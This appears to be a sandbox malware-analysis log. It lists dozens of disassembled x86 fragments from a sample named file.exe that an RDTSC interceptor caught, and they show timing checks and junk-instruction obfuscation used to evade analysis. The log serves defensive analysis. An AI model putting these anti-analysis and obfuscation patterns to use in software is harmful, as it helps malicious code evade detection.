Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B227F0 second address: B2286D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D2AEAh], esi 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F52647CA118h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e add dword ptr [ebp+122D23BFh], eax 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b mov edi, dword ptr [ebp+122D23DEh] 0x00000041 mov eax, dword ptr [ebp+122D0755h] 0x00000047 add dword ptr [ebp+122D1EE3h], eax 0x0000004d push FFFFFFFFh 0x0000004f push 00000000h 0x00000051 push ebx 0x00000052 call 00007F52647CA118h 0x00000057 pop ebx 0x00000058 mov dword ptr [esp+04h], ebx 0x0000005c add dword ptr [esp+04h], 00000017h 0x00000064 inc ebx 0x00000065 push ebx 0x00000066 ret 0x00000067 pop ebx 0x00000068 ret 0x00000069 sbb bl, FFFFFFC0h 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 pushad 0x00000072 popad 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2286D second address: B22873 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B22873 second address: B2288D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52647CA126h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CBE8 second address: B2CBEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CBEE second address: B2CBF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CEFA second address: B2CF1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F5264C7BAFFh 0x0000000b jmp 00007F5264C7BB00h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2D0B8 second address: B2D0EF instructions: 0x00000000 rdtsc 0x00000002 jne 00007F52647CA116h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F52647CA125h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 jmp 00007F52647CA11Dh 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2D0EF second address: B2D10B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5264C7BB06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32AB5 second address: B32AED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F52647CA122h 0x0000000c jmp 00007F52647CA127h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32AED second address: B32B35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5264C7BB02h 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push edi 0x00000014 jg 00007F5264C7BAFCh 0x0000001a pop edi 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32B35 second address: B32B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32B40 second address: B32B44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32CF1 second address: B32CFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37BC9 second address: B37BDA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5264C7BAF6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37BDA second address: B37BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37BE2 second address: B37BF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F5264C7BAFBh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37BF5 second address: B37C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F52647CA116h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e ja 00007F52647CA116h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 popad 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F52647CA126h 0x00000020 push eax 0x00000021 pop eax 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37C28 second address: B37C32 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5264C7BAF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3EA98 second address: B3EAA2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F52647CA122h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3EAA2 second address: B3EAA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D6FF second address: B3D705 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D87A second address: B3D8B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5264C7BB02h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5264C7BB06h 0x00000011 jmp 00007F5264C7BAFCh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D8B5 second address: B3D8B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D9E3 second address: B3D9E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D9E7 second address: B3D9F1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F52647CA116h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3DDD9 second address: B3DDDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E0D7 second address: B3E0F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA128h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E2A5 second address: B3E2AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E2AC second address: B3E2B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E2B4 second address: B3E2BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E2BD second address: B3E2F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F52647CA12Bh 0x00000013 jnc 00007F52647CA11Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E2F9 second address: B3E306 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jnl 00007F5264C7BAF6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E46F second address: B3E47C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F52647CA116h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E781 second address: B3E787 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E787 second address: B3E7A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F52647CA128h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E7A5 second address: B3E7CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F5264C7BAF6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41B54 second address: B41B6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jnp 00007F52647CA116h 0x0000000f jo 00007F52647CA116h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41B6B second address: B41B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnp 00007F5264C7BAF6h 0x0000000e js 00007F5264C7BAF6h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B434C2 second address: B434C7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B434C7 second address: B434D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B434D0 second address: B434DA instructions: 0x00000000 rdtsc 0x00000002 je 00007F52647CA116h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B494B9 second address: B494CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5264C7BAF6h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B494CA second address: B494CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47FF4 second address: B47FFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47FFA second address: B48018 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnc 00007F52647CA116h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jc 00007F52647CA12Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 je 00007F52647CA116h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4854A second address: B4854E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B486C4 second address: B486CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B486CD second address: B486D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48A95 second address: B48A9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48A9E second address: B48AA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48D5B second address: B48D77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA128h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49336 second address: B49350 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5264C7BAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F5264C7BAFAh 0x00000010 pop ebx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47CC5 second address: B47D03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA125h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F52647CA11Fh 0x00000010 jmp 00007F52647CA124h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E8C8 second address: AEE0F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ebp 0x00000009 call 00007F5264C7BAF8h 0x0000000e pop ebp 0x0000000f mov dword ptr [esp+04h], ebp 0x00000013 add dword ptr [esp+04h], 00000016h 0x0000001b inc ebp 0x0000001c push ebp 0x0000001d ret 0x0000001e pop ebp 0x0000001f ret 0x00000020 lea eax, dword ptr [ebp+12483684h] 0x00000026 mov dh, 2Eh 0x00000028 push eax 0x00000029 push edi 0x0000002a push eax 0x0000002b js 00007F5264C7BAF6h 0x00000031 pop eax 0x00000032 pop edi 0x00000033 mov dword ptr [esp], eax 0x00000036 movsx edx, bx 0x00000039 push esi 0x0000003a jmp 00007F5264C7BB01h 0x0000003f pop edx 0x00000040 call dword ptr [ebp+122D3D8Fh] 0x00000046 je 00007F5264C7BB0Ah 0x0000004c pushad 0x0000004d pushad 0x0000004e popad 0x0000004f je 00007F5264C7BAF6h 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E990 second address: B0E994 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E994 second address: B0E99A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E99A second address: B0E9AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52647CA120h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0EA8F second address: B0EAA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0EEB9 second address: B0EEBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0EFCA second address: B0EFEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 js 00007F5264C7BB08h 0x0000000b jmp 00007F5264C7BB02h 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0EFEE second address: B0EFF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0EFF2 second address: B0EFF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0FBC0 second address: B0FBEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007F52647CA116h 0x0000000e jmp 00007F52647CA128h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0FBEE second address: B0FC4C instructions: 0x00000000 rdtsc 0x00000002 je 00007F5264C7BAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b nop 0x0000000c add dword ptr [ebp+122D2793h], edi 0x00000012 lea eax, dword ptr [ebp+12483684h] 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F5264C7BAF8h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 cmc 0x00000033 or ecx, dword ptr [ebp+122D3176h] 0x00000039 nop 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F5264C7BB07h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0FC4C second address: B0FC51 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0FC51 second address: AEEC14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jp 00007F5264C7BB0Eh 0x0000000e jmp 00007F5264C7BB08h 0x00000013 nop 0x00000014 pushad 0x00000015 mov bh, 45h 0x00000017 xor cx, 49E8h 0x0000001c popad 0x0000001d call dword ptr [ebp+122D274Dh] 0x00000023 pushad 0x00000024 jc 00007F5264C7BAF8h 0x0000002a push eax 0x0000002b pop eax 0x0000002c push ebx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4EA85 second address: B4EA8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4EBC7 second address: B4EBCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4EBCD second address: B4EBF5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F52647CA11Ch 0x00000008 js 00007F52647CA116h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F52647CA11Eh 0x00000019 jne 00007F52647CA116h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4EBF5 second address: B4EBFB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4ED76 second address: B4ED7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4ED7A second address: B4ED80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4ED80 second address: B4ED86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4ED86 second address: B4ED8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4ED8A second address: B4ED94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4ED94 second address: B4ED98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4ED98 second address: B4ED9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4EF43 second address: B4EF4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5264C7BAF6h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B554EF second address: B554F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F52647CA116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B554F9 second address: B554FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B554FD second address: B5550D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F52647CA116h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5550D second address: B55519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5264C7BAF6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B55519 second address: B5551F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5565C second address: B556A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jg 00007F5264C7BAF6h 0x0000000c jnp 00007F5264C7BAF6h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F5264C7BAFEh 0x00000019 popad 0x0000001a pop ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e jmp 00007F5264C7BB02h 0x00000023 js 00007F5264C7BAF6h 0x00000029 jmp 00007F5264C7BAFBh 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58104 second address: B58118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F52647CA116h 0x0000000a popad 0x0000000b pushad 0x0000000c jnc 00007F52647CA116h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5A60A second address: B5A615 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5A615 second address: B5A61B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E964 second address: B5E968 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E968 second address: B5E96E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
